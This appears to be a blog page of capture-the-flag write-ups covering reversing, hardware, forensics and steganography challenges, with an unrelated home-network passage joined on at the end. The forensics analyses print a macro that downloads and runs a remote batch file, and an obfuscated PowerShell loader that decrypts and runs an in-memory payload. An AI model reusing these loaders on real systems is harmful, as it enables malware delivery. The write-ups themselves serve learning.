Reversing

Shattered Tablet

Difficulty: Very Easy - 300 points

Deep in an ancient tomb, you’ve discovered a stone tablet with secret information on the locations of other relics. However, while dodging a poison dart, it slipped from your hands and shattered into hundreds of pieces. Can you reassemble it and read the clues?

In this challenge, we are provided with a binary that asks for what the tablet says.

Throwing it in IDA, the main function shows a bunch of comparisons taking place.

Getting the char numbers and manually putting them in order, I then used a Python script to output the flag.

chars = [72,84,66,123,98,114,48,107,51,110,95,52,112,52,114,116,44,110,51,118,101,114,95,116,48,95,98,51,95,114,51,112,52,49,114,51,100,125]

for i in chars:
    print(chr(i),end="")

Flag: HTB{br0k3n_4p4rt,n3ver_t0_b3_r3p41r3d}

Needle in a Haystack

Difficulty: Very Easy - 300 points

You’ve obtained an ancient alien Datasphere, containing categorized and sorted recordings of every word in the forgotten intergalactic common language. Hidden within it is the password to a tomb, but the sphere has been worn with age and the search function no longer works, only playing random recordings. You don’t have time to search through every recording - can you crack it open and extract the answer?

This one was too easy. All I had to do was run strings against the binary to find the flag.

Flag: HTB{d1v1ng_1nt0_th3_d4tab4nk5}

Hunting License

Difficulty: Easy - 300 points

STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!

In this challenge, we have to provide three correct passwords to pass a Hunting License exam.

Throwing the binary in IDA, we can see the main function calls a function called exam.

In this exam function, we see the first password, and find out that the second password will be reversed, and the third will be XORed against 0x13 (19 decimal).

Navigating to the variable t, I navigate to it’s memory address, where I find the string that is reversed for the second password and the bytes that are XORed for the third.

The second password is P4ssw0rdTw0, with the third being ThirdAndfinal!!!.

Spinning up the Docker instance, I answer the necessary questions and obtain the flag.

Flag: HTB{l1c3ns3_4cquir3d-hunt1ng_t1m3!}

Hardware

Timed Transmission

Difficulty: Very Easy - 300 points

As part of your initialization sequence, your team loaded various tools into your system, but you still need to learn how to use them effectively. They have tasked you with the challenge of finding the appropriate tool to open a file containing strange serial signals. Can you rise to the challenge and find the right tool?

This challenge provides us with a .sal file that can be opened in Saleae’s Logic 2.

Opening the file, I see some pulses that kind of look like they say something.

Playing with the zoom a bit, I see that they do say something, the flag.

Flag: HTB{b391N_tH3_HArdWAr3_QU3St}

Debug

Difficulty: Easy - 300 points

Your team has recovered a satellite dish that was used for transmitting the location of the relic, but it seems to be malfunctioning. There seems to be some interference affecting its connection to the satellite system, but there are no indications of what it could be. Perhaps the debugging interface could provide some insight, but they are unable to decode the serial signal captured during the device’s booting sequence. Can you help to decode the signal and find the source of the interference?

This challenge has another .sal file. Opening it in Logic, I see some signals but nothing easily identifiable.

Based on the title and description, I determined that running the Async Serial analyzer against this data would be a good idea since this is a debug interface. I researched common baud rates for debug interfaces and tried the most common, 9600 baud, which returned garbled data and framing errors.

The next common baud rate was 115200 baud, so I tried that next, and got readable data in return.

Switching to the terminal view, I could read the text easier, and found the flag across three lines.

Flag: HTB{547311173_n37w02k_c0mp20m153d}

Miscellaneous

Persistence

Difficulty: Very Easy - 300 points

Thousands of years ago, sending a GET request to /flag would grant immense power and wisdom. Now it’s broken and usually returns random data, but keep trying, and you might get lucky… Legends say it works once every 1000 tries.

This one was pretty easy, I just wrote a simple Python script to send a GET request to /flag repeatedly and break if it got the flag.

import requests
url = 'http://139.59.174.119:31938/flag'

for i in range (0,1000):
    r = requests.get(url)
    
    if "HTB" in r.text:
        print(r.text)
        break 

Flag: HTB{y0u_h4v3_p0w3rfuL_sCr1pt1ng_ab1lit13S!}

Hijack

Difficulty: Easy - 300 points

The security of the alien spacecrafts did not prove very robust, and you have gained access to an interface allowing you to upload a new configuration to their ship’s Thermal Control System. Can you take advantage of the situation without raising any suspicion?

Connecting to the Docker environment, I am greeted by a prompt to create or load a config. I created a config and it returned a Base64 encoded serialized string.

Plugging this into CyberChef, I find that this is using Python pickle for serialization.

With this information, I obtain a template and use it to serialize my own payload.

I entered this Base64 string into the prompt and got the file listing.

I changed the command to output the flag, and got the flag.

Flag: HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}

I had a lot of fun with the forensics challenges! Looking at writeups for Bashic Ransomware, I probably could have gotten that one too but 8/10 is nothing to scoff at!

Plaintext Treasure

Difficulty: Very Easy - 300 points

Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.

In this challenge, we are given a pcap packet capture file containing TCP and HTTP traffic.

Following the TCP streams, I find the flag written in plaintext in the fourth TCP stream.

Flag: HTB{th3s3_4l13ns_st1ll_us3_HTTP}

Alien Cradle

Difficulty: Very Easy - 300 points

In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?

In this challenge, we are given a Powershell script.

The flag is already visible in this section, we just need to put the pieces together.

$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';

Flag: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}

Extraterrestrial Persistence

Difficulty: Very Easy - 300 points

There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?

This challenge provides us a Bash script that downloads a service if the user pandora is logged into hostname linux_HQ, gives execution permission to it, and writes a Base64 encoded payload to /usr/lib/systemd/service.service.

Decoding this payload, we find the flag in the description of the service.

Flag: HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Roten

Difficulty: Easy - 300 points

The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.

This challenge presents another packet capture with TCP and HTTP traffic.

Using the export objects feature in Wireshark, I find this obfuscated PHP webshell that was uploaded to the server on the map update page.

Saving this PHP script, I noticed that the obfuscated portions were appended to one another and were evaluated at the end of the script.

Replacing the eval() statement with echo(), I would be able to get the deobfuscated shell script. In doing so, I revealed the flag in a comment.

Flag: HTB{W0w_ROt_A_DaY}

Packet Cyclone

Difficulty: Easy - 300 points

Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.

In this challenge, we are given Windows event logs and sigma rules that we need to use a tool called chainsaw to parse. Using the command below, we get a match for two events.

These events correspond to execution of rclone.

With this information, I connected to the Docker instance and answered the questions that were asked of me.

In return, I received the flag.

Flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}

Artifacts of Dangerous Sightings

Difficulty: Medium - 300 points

Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she notices the Windows Event Viewer tab open on the Security log. This is so strange! Immediately taking control of the situation she pulls out the network cable, takes a snapshot of her machine and shuts it down. She is determined to uncover who could be trying to sabotage her research, and the only way to do that is by diving deep down and following all traces …

In this challenge, we are given a VHDX virtual disk image. After loading the image into Autopsy, I ran a string search for some common strings, one one of them being powershell. In one of the first results, I noticed an interesting match.

The type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1 line indicates that the payload was written to an Alternate Data Stream, hiding the Powershell script inside of ActiveSyncProvider.dll. In order to access this, I mounted the disk image in a Windows VM and used the type C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1 command. Inside the alternate data stream, there was a Base64 encoded powershell payload that when decoded, revealed a heavily obfuscated Powershell script.

I then used PowerDecode to run dynamic analysis against the script. Initially, there were some errors in the script that had to be remedied, as well as me needing to enable long file names in the Registry, but it was able to deobfuscate the script and show the flag.

Flag: HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}

Relic Maps

Difficulty: Medium - 300 points

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

For this challenge, we are given a link to a OneNote document (relicmaps.one) hosted on the Docker environment. Running strings against this file, I find a suspicious piece of VBScript that downloads two files, another OneNote document and a window.bat batch script.

'more code above...
Sub AutoOpen()
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub
'more code below...

Downloading the batch script, I see that it is quite obfuscated and the commented middle portion starting with SEWD appears to be a Base64 encoded string.

@echo off
set "eFlP=set "
%eFlP%"ualBOGvshk=ws"
%eFlP%"PxzdwcSExs= /"
%eFlP%"ndjtYQuanY=po"
%eFlP%"cHFmSnCqnE=Wi"
%eFlP%"CJnGNBkyYp=co"
%eFlP%"jaXcJXQMrV=rS"

snip

:: SEWD/RSJz4q93dq1c+u3tVcKPbLfn1fTrwl01pkHX3+NzcJ42N+ZgqbF+h+S76xsuroW3DDJ50IxTV/PbQICDVPjPCV3DYvCc244F7AFWphPY3kRy+618kpRSK2jW9RRcOnj8dOuDyeLwHfnBbkGgLE4KoSttWBplznkmb1l50KEFUavXv9ScKbGilo9+85NRKfafzpZjkMhwaCuzbuGZ1+5s9CdUwvo3znUpgmPX7S8K4+uS3SvQNh5iPNBdZHmyfZ9SbSATnsXlP757ockUsZTEdltSce4ZWF1779G6RjtKJcK4yrHGpRIZFYJ3pLosmm7d+SewKQu1vGJwcdLYuHOkdm5mglTyp20x7rDNCxobvCug4Smyrbs8XgS3R4jHMeUl7gdbyV/eTu0bQAMJnIql2pEU/dW0krE90nlgr3tbtitxw3p5nUP9hRYZLLMPOwJ12yNENS7Ics1ciqYh78ZWJiotAd4DEmAjr8zU4U...

snip

%CJnGNBkyYp%%UBndSzFkbH%%ujJtlzSIGW%%nwIWiBzpbz%%cHFmSnCqnE%%kTEDvsZUvn%%JBRccySrUq%%ZqjBENExAX%%XBucLtReBQ%%BFTOQBPCju%%vlwWETKcZH%%NCtxqhhPqI%%GOPdPuwuLd%%YcnfCLfyyS%%JPfTcZlwxJ%%ualBOGvshk%%xprVJLooVF%%cIqyYRJWbQ%%jaXcJXQMrV%%pMrovuxjjq%%KXASGLJNCX%%XzrrbwrpmM%%VCWZpprcdE%%tzMKflzfvX%%ndjtYQuanY%%chXxviaBCr%%tHJYExMHlP%%WmUoySsDby%%UrPeBlCopW%%lYCdEGtlPA%%eNOycQnIZD%%PxzdwcSExs%%VxroDYJQKR%%zhNAugCrcK%%XUpMhOyyHB%%OOOxFGwzUd%
cls
%dzPrbmmccE%%xQseEVnPet%
%eDhTebXJLa%%vShQyqnqqU%%KsuJogdoiJ%%uVLEiIUjzw%%SJsEzuInUY%%gNELMMjyFY%%XIAbFAgCIP%%weRTbbZPjT%%yQujDHraSv%%zwDBykiqZZ%%nfEeCcWKKK%%MtoMzhoqyY%%igJmqZApvQ%%SIQjFslpHA%%KHqiJghRbq%%WSRbQhwrOC%%BGoTReCegg%%WYJXnBQBDj%%SIneUaQPty%%WTAeYdswqF%%E

Running this script through DissectMalware’s batch_deobfuscator, I got a somewhat readable version of the script.

Cleaning this up a bit, I can get a better idea of what’s going on.

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y %~0.exe

cls
cd %~dp0
%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine)

foreach ($YiLGW in $eIfqq) { 
	if ($YiLGW.StartsWith(':: ')) {  
		$VuGcO = $YiLGW.Substring(3)
 		break
 	}
}

$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO)
$BacUA = New-Object System.Security.Cryptography.AesManaged
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==')
$Nlgap = $BacUA.CreateDecryptor()
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length)
$Nlgap.Dispose()
$BacUA.Dispose()
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm)
$bTMLk = New-Object System.IO.MemoryStream
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress)
$NVPbn.CopyTo($bTMLk)
$NVPbn.Dispose()
$mNKMr.Dispose()
$bTMLk.Dispose()
$uZOcm = $bTMLk.ToArray()
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm)
$PtfdQ = $gDBNO.EntryPoint
$PtfdQ.Invoke($null, (, [string[]] ('%*')))

The script first copies Powershell to the present working directory and renames it to match the script’s name,.

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y %~0.exe

cls
cd %~dp0

The script then reads its contents for any line that starts with the characters :: which correspond to a comment. In this case, the only line that matches this criteria is the Base64 string.

foreach ($YiLGW in $eIfqq) { 
	if ($YiLGW.StartsWith(':: ')) {  
		$VuGcO = $YiLGW.Substring(3)
 		break
 	}
}

The script then decodes and decrypts the payload using the provided AES key and initialization vector, and writes the memory stream to a gzip archive.

In order to obtain this file, I used the Base64 decode and AES decrypt functions on CyberChef. The 1F 8B hex bytes at the beginning confirm that this is a gzip archive.

Using the gunzip operation, I extracted the contents of the archive, which turned out to be a Windows portable executable binary.

Further down in the binary, I noticed a string that appeared to be a flag, but with null bytes in between the characters.

Using the remove whitespace operation, I was able to make this string more readable and obtain the flag.

Flag: HTB{0neN0Te?_iT'5_4_tr4P!}

Interstellar C2

Difficulty: Hard - 325 points

We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora’s private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?

This challenge gives us another packet capture with TCP and HTTP traffic. Following the TCP streams, the very first stream is a GET request for a powershell script.

Similar to the batch script in the previous challenge, this script is obfuscated and utilizes AES encryption. I attempted to use PowerDecode, which failed, but PSDecode was successful.

This script downloads an external payload and moves it to the temporary directory, decrypts the payload, and runs the resultant executable.

The third TCP stream shows the capture of the payload being downloaded.

I recovered this payload from the packet capture and decrypted it using CyberChef.

I then downloaded the binary and loaded into Ghidra for analysis. There were a few different functions, including Encryption, Decryption, and ImplantCore. I also ran a search for strings, which returned a few interesting results. The most interesting was a file name, dropper_cs.exe.

A quick online search revealed that this was most likely a dropper for PoshC2, a popular open-source command and control framework.

I verified this by comparing the strings that Ghidra located to the source code for this dropper.

This blog post from Keysight goes into detail about how PoshC2 works, and this was the basis for me solving this challenge.

For the next stage (stage 1 in the blog post), there is a request with a session ID that is both Base64 encoded and AES encrypted.

Fortunately for us, the binary contains the Base64 encoded AES private key.

I wrote a Python script based off the ruby script that the author of the blog post used to decrypt the payload.

In this decrypted payload, I can barely makeout the new AES key that is used to encrypt the future communications, as well as random URIs that are used for beaconing and task execution.

For task execution, the contents of the GET request are encoded and encrypted as well. The task responses are POST requests that are back to the C2 server in a complex form. The output is first compressed using Gzip, then encrypted with AES, and then is appended to a 1500 byte PNG image before being sent back to the C2 server. So I started looking for POST requests.

When I looked at the HTTP objects, I noticed one that was much larger than the others. This object corresponded to a request that began at packet 7242. Given its large size, I decided to investigate it first.

I wrote a script to decrypt and decode the data from the task’s output.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import gzip

def get_file():
    private_key = base64.b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
    enc=bytes.fromhex(data)[1500:]
    iv = enc[0:16]
    enc=enc[16:]
    obj = AES.new(private_key, AES.MODE_CBC, iv)
    dec = obj.decrypt(enc)
    return gzip.decompress(dec).decode()

f = open("pkt7242-hex", "r")
data = f.read()

g = open("test","wb")
out_file = get_file()
g.write(base64.b64decode(out_file))

I took the input from that large post request, converted it to hex, and fed it into the script. I added the second base64 decode statement after I discovered that the output was also base64 encoded.

The output of the file turned out to be a PNG image file!

Opening the image in ristretto, I see the flag in a sticky note in the top right corner of the screen.

Flag: HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}

Of course I didn’t go alone, as I was joined by Trine Cybersecurity students and alumni. I think our program was represented quite well!

CTF

As for the CTF, I finished in 2nd place with 700 points, taking home a £100 HackTheBox gift card. It had a fun set of challenges that were designed with beginners and intermediates in mind.

And here are said challenges. Unfortunately, I do not have the descriptions for any of these, which provide context and subtle hints about what to look for. I also lack the files for some of the challenges that I have completed, specifically Accidentally Open Source and Hard Coded Secrets. If anyone reading this has a copy of the original challenge files, please feel free to reach out!

With that being said, here are the writeups!

Log Analysis

Parameters

Points: 100

This challenge gives us an Apache log with HTTP requests:

**.***.***.** - lemke1570 [18/May/2022:20:05:45 -0400] "PUT /viral/markets HTTP/2.0" 416 12504
**.**.***.*** - - [18/May/2022:20:05:45 -0400] "PUT /partnerships/niches HTTP/2.0" 304 1348
***.***.**.** - - [18/May/2022:20:05:45 -0400] "POST /rich/bsftw{9X95ySYz0OYP9fbbrXiZkKEnUGawOGmV1Rop1L7mjhubY yJE6ZTapWDUCk5hLqhu8np7qOkb2Odq4 bR2S7kVJrHzA} HTTP/1.1" 205 6820

This challenge is similar to what we’ll see in Obscure Memo, but since this log has way more than three instances of the string bsftw, using regular expressions is more convenient than using cat and grep. All flags consist of bsftw{, 32 characters, and a }. While not the regex provided, we can use /bsftw{.{32}}/g to get us closer to what we’re looking for.

Using regexr.com to test, we see that there are two strings that match our regular expression:

bsftw{lSklv6GfDmjeDCWCm Hn1ju2fr3s mQ1}
bsftw{Regex_Is_The_Key_To_Text_Parsing}

That regular expression worked! We can see the correct flag of bsftw{Regex_Is_The_Key_To_Text_Parsing}.

Miscellaneous

Multicast over Human Carriers (MoHC)

Points: 200

This challenge was a nice change of pace, since in order to get the flag, we had to speak with the vendors that had a table at the event. I enjoy visiting the expo booths at conferences and learning more about the vendors and what they do. Each vendor had a fragment of the flag and we had to combine all ten of them into the correct flag. The fragments are as follows:

rkus
psbro
esno
asoc
twor
sesn
cial
lnet
otips
name

It took quite a while to fit the pieces together in the right order, but there were some parts that were easily decipherable. I was able to gather Asocialnetworkuses relatively quickly, but I was initially stumped on the order of the last bit, specifically over the placement of names and notips. Eventually, I got it in the right order and the correct flag is: bsftw{ASocialNetworkUsesNamesNotIpsBro}.

Reverse Engineering

Obscurity != Security

Points: 50

In this challenge, we are given a binary that, when executed, has the following output:

┌──(tanner㉿kali)-[~/ctf/bsides]
└─$ ./RE2
Hello BSIDES FW CTF Contestant!!

Can you find my secret?

****MENU****
1 - SysInfo
2 - Search - (WIP)
3 - (WIP)
4 - (WIP)
Please select Menu Number: 

Selecting option 1 results in the following;

Please select Menu Number: 1
Why did you trust this application?!?!

Whereas selecting any of the other options shows the following:

Please select Menu Number: 2   
Nothing to see Here... Yet

Before using tools such as Ghidra, I like to run the strings to see if there is any helpful information that hasn’t been obfuscated. When I ran strings on this binary, I did find some interesting strings listed:

Hello BSIDES FW CTF Contestant!!
Can you find my secret?
****MENU****
1 - SysInfo
2 - Search - (WIP)
3 - (WIP)
4 - (WIP)
Please select Menu Number: 
PLEASE INSERT A VALID OPTION.
YOU FOUND MY SECRET!!!
FFEjwtItjxStyJvzfqSzqqTwItjxNyFF
FLAG:
bsftw{
Why did you trust this application?!?!
Nothing to see Here... Yet
Where do you computers start counting?
Not here... look some where else
basic_string::_M_construct null not valid
;*3$"

We can see a flag prefix and a string above it which doesn’t really make sense. There is also a helpful hint in the form of “Where do you computers start counting?”. Since many programming languages start counting at 0 instead of 1, maybe we could try that as an input?

┌──(tanner㉿kali)-[~/ctf/bsides]
└─$ ./RE2
Hello BSIDES FW CTF Contestant!!

Can you find my secret?

****MENU****
1 - SysInfo
2 - Search - (WIP)
3 - (WIP)
4 - (WIP)
Please select Menu Number: 0
YOU FOUND MY SECRET!!!
FLAG:bsftw{AAZeroDoesNotEqualNullOrDoesItAA}

That did the trick! We find the flag of bsftw{AAZeroDoesNotEqualNullOrDoesItAA} by using an option that was not made clear to us by the program. Let it be known that obscurity does not in fact, equal security, as evidenced here.

An interesting thing that I noticed while writing this writeup is that the string we found earlier, FFEjwtItjxStyJvzfqSzqqTwItjxNyFF, bears a resemblance to the flag. The FF at the beginning and end of this string seems to match with the AA in the actual flag. Sure enough, running it through CyberChef reveals that when the string is rotated by 21 (or -5) characters, we get the flag.

Steganography

Escape Artist

Points: 50

We are given a jpg file, named BSides_Logo_STEGO_1.jpg. When we open it in an image viewer, we see that it is simply the conference’s logo:

My first instinct in stego challenges like this is to look in the EXIF data and see if there’s anything interesting in there, so let’s do that.

You can do this a number of ways, but two of the tools that I use are exiftool and ImageMagick, both of which are included in Kali. Exiftool is a command-line tool that outputs the EXIF data in your terminal, while ImageMagick is a GUI program that can be used to manipulate images further.

First, we’ll use exiftool. To do this, I use the command exiftool BSides_Logo_STEGO_1.jpg, which gives us the following output:

┌──(tanner㉿kali)-[~/ctf/bsides]
└─$ exiftool BSides_Logo_STEGO_1.jpg
ExifTool Version Number         : 12.41
File Name                       : BSides_Logo_STEGO_1.jpg
Directory                       : .
File Size                       : 101 KiB
File Modification Date/Time     : 2022:05:21 10:57:49-04:00
File Access Date/Time           : 2022:06:01 19:22:56-04:00
File Inode Change Date/Time     : 2022:06:01 19:22:21-04:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 150
Y Resolution                    : 150
Resolution Unit                 : inches
Artist                          : bsftw{TheArtistWhoDesignedThisIsGreat!}
Y Cb Cr Positioning             : Centered
Displayed Units X               : inches
Displayed Units Y               : inches
XMP Toolkit                     : Adobe XMP Core 7.1-c000 79.a8731b9, 2021/09/09-00:37:38
Format                          : image/jpeg
Title                           : BSides_Logo_FW
Metadata Date                   : 2021:12:30 08:22:23-05:00
Modify Date                     : 2021:12:30 13:22:31Z
Create Date                     : 2021:12:30 08:22:23-05:00

In the Artist attribute, we find our flag, which is bsftw{TheArtistWhoDesignedThisIsGreat!}.

Doing this in ImageMagick is a similar process. After opening the image, click anywhere in the image window to bring up the command window. EXIF data is found by clicking Image Info in the Miscellany menu.

Scrolling down to the Properties section, we see our flag under the Artist attribute, just as we did using exiftool.

Obscure Memo

Points: 50

For this challenge, we are given two files; an image named web_logo.jpg and a text file named StegPasswords.txt, presumably containing passwords to extract data hidden in the image. The appearance of the image is the same as in the previous challenge, and the text file contains 101 possible passwords, with one on each line:

BSIDES
Wayne
security
Schedule
...
...

Since there are this many possible passwords, it isn’t feasible to try each of them manually. Fortunately, we can automate this process through scripting!

The actual extraction will be done using steghide, a program that allows for files to be embedded in and extracted from image and audio files.

To extract embedded content from a file, we need to specify what file has what we’re looking for (the stego file) and the password/passphrase. This is done using steghide extract -sf FILE.png -p PASSWORD.

As for automating this process, it is quite simple. All that’s needed is a for loop. My script and its output are fairly crude, but it gets the job done.

for i in $(cat StegPasswords.txt);
do echo 'Attempting passphrase: ' $i;
steghide extract -sf web_logo.jpg -p $i;
done

This script iterates through the password file and uses that line’s value in the steghide command.

┌──(tanner㉿kali)-[~/ctf/bsides]
└─$ ./steghidebf.sh
Attempting passphrase:  BSIDES
steghide: could not extract any data with that passphrase!
Attempting passphrase:  Wayne
steghide: could not extract any data with that passphrase!
Attempting passphrase:  security
steghide: could not extract any data with that passphrase!
Attempting passphrase:  Schedule
steghide: could not extract any data with that passphrase!

...
...

Attempting passphrase:  BSFTW
wrote extracted data to "BsidesCTF.txt".

...

The passphrase that was able to extract the data was BSFTW, and steghide wrote the data to a text file named BsidesCTF.txt, so let’s take a look at that.

Hello Bsides CTF Challeneger!
Are you enjoying Bsides FW? I hope you are! There is a flag some where in the text below! Will you find it?

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Aliquam malesuada bibendum arcu vitae elementum curabitur vitae nunc. Massa vitae tortor condimentum lacinia quis vel eros. Accumsan in nisl nisi scelerisque. Morbi quis commodo odio bsftw{This Is Not The Flag You Have Been Looking for!!} aenean sed adipiscing.
...

The text file contains lorem ipsum and at least one false flag. With the help of grep and Kali’s zsh syntax highlighting, I was able to better see the three occurrences of the flag prefix:

... Morbi quis commodo odio bsftw{This Is Not The Flag You Have Been Looking for!!} aenean sed adipiscing...

... Felis imperdiet bsftw{Maybe You Should read the requirements for a flag?} proin fermentum leo vel orci porta...

... Sagittis purus sit amet volutpat consequat bsftw{RegexIsCoolButIsVeryScaryAndHard} mauris nunc congue nisi. Senectus et netus et malesuada fames ac turpis egestas...

Looking at the flag format that we’ve seen so far, only the last fits the format, as it does not contain any spaces. It should be noted that the organizers did provide a regular expression of the flag format on the CTF scoreboard, which would have made this challenge a bit easier had I used it. Either way, we find that the flag is: bsftw{RegexIsCoolButIsVeryScaryAndHard}.

Web Reconnaissance

Use the Source, Luke

Points: 50

This challenge tells us that the flag is hidden in the source of one of the pages on the conference’s website. Since there are not that many pages on the website, I opted to use the view page source option in Firefox on every page, until finding the following on the Speakers page:

We find the correct flag of: bsftw{JustWgetItAndGrepForTheFlagMate!}. And yes, using wget and grep would have been a better way to do it!

The router in question is an Arris/Askey RAC2V1A, also known as the Spectrum Wave 2. All things considered, it’s a pretty good ISP offering. It’s not an eero mesh system like what MetroNet provides, but it works well. Wi-Fi performance was solid all over the house, even with it being in my bedroom in a far corner. But it just didn’t give me the amount of control over my network that I wanted. I had a few main requirements and goals that I wanted to achieve.

What I Wanted

• VLAN Support

  With the amount of devices that a household has in 2022, I wanted to better segment my network because having clients, servers, and network infrastructure all on the 192.168.1.0/24 subnet was not going to work. I wanted to have different networks for IoT devices, WFH devices, trusted devices (my servers and desktop), and client devices.

• Greater Network Management Capabilities

  I wanted to be able to have more control over the flow of traffic across the network. A major part of this was wanting to prevent IoT devices from snooping around. Additionally, I was looking to have the ability to easily get more information about devices connected to my network. The Spectrum router displayed the IP address, MAC address, and the hostname of the device. If I wanted to determine the manufacturer, I would have to google the MAC address.

• 10 Gigabit LAN Capability

  With the price of 10 gigabit working gear coming down and ISPs like AT&T starting to offer speeds above 1 gigabit, I wanted to have room to upgrade my network to be capable of running my LAN at 10 gigabit as well as having multi-gigabit WAN.

• Reasonable Cost and Noise

  I am a college student after all, and with gas being around $4.25 a gallon in Angola and over $4 in Toledo, I needed to keep the costs of this project under control. Fortunately, I got lucky in this regard. As for noise, the “network clost” at my house is my bedroom, so having components that sound like a jet engine taking off were a non-starter. I’d like to be able to sleep when I come home from school!

What I Chose

• Routing/Firewall

  For my routing and firewall, I chose to use OPNsense, an open-source firewall and routing distro based on FreeBSD. I had also considered pfSense, but Netgate’s anti-competitive practices left a bad taste in my mouth. Additionally, I was drawn to OPNsense’s more frequent updates, native WireGuard support, and greater commitment to open-source.

  As for the hardware, I was planning on doing virtualization up until the last minute. When I got back home, I saw a post on /r/hardwareswap that was giving away a large quantity of ATX cases. I had been looking for another case to set up a virtualization server anyways, so I messaged the OP. When I went to pick up the case, I left with the case, a Xeon E5-2603 v3, a Mellanox ConnectX-2 10Gb NIC, a CPU tower cooler, a 2 TB hard drive, and a 1U server all for $20. This server became my firewall, behold Cadmium!

  

  Cadmium is a Supermicro SC512-200B server with the following specs:

  • Intel Xeon E5504
  • Supermicro X8STi
  • 4 GB RAM
  • 160 GB HDD
  • 2x Intel 82574L Gigabit NIC

  I installed the 10Gb NIC in the PCIe slot, giving me 10 gigabit capabilities in the future. This thing absolutely did NOT meet my noise requirement. When I was configuring it, I disconnected the blower fan and used a 140mm fan that I got with an AIO water cooler years ago. That made it much more manageable to be next to. It has since been moved to the basement, where it can be as loud as it wants!

• Switching

  For switching, I wanted to give myself room to grow. The four ports on the Spectrum router were not enough for what I want to do with my network. While I have more experience with configuring Cisco switches (thanks Professor Hamman!), the Cisco options that I considered were either not 10-gig capable out of the box, would be too loud in a home environment, or too expensive. Then I found out about MikroTik. I had a few different options I was considering, namely the CSS610-8G-2S+IN and the CRS326-24G-2S+IN, I settled on the CSS326-24G-2S+RM.

  

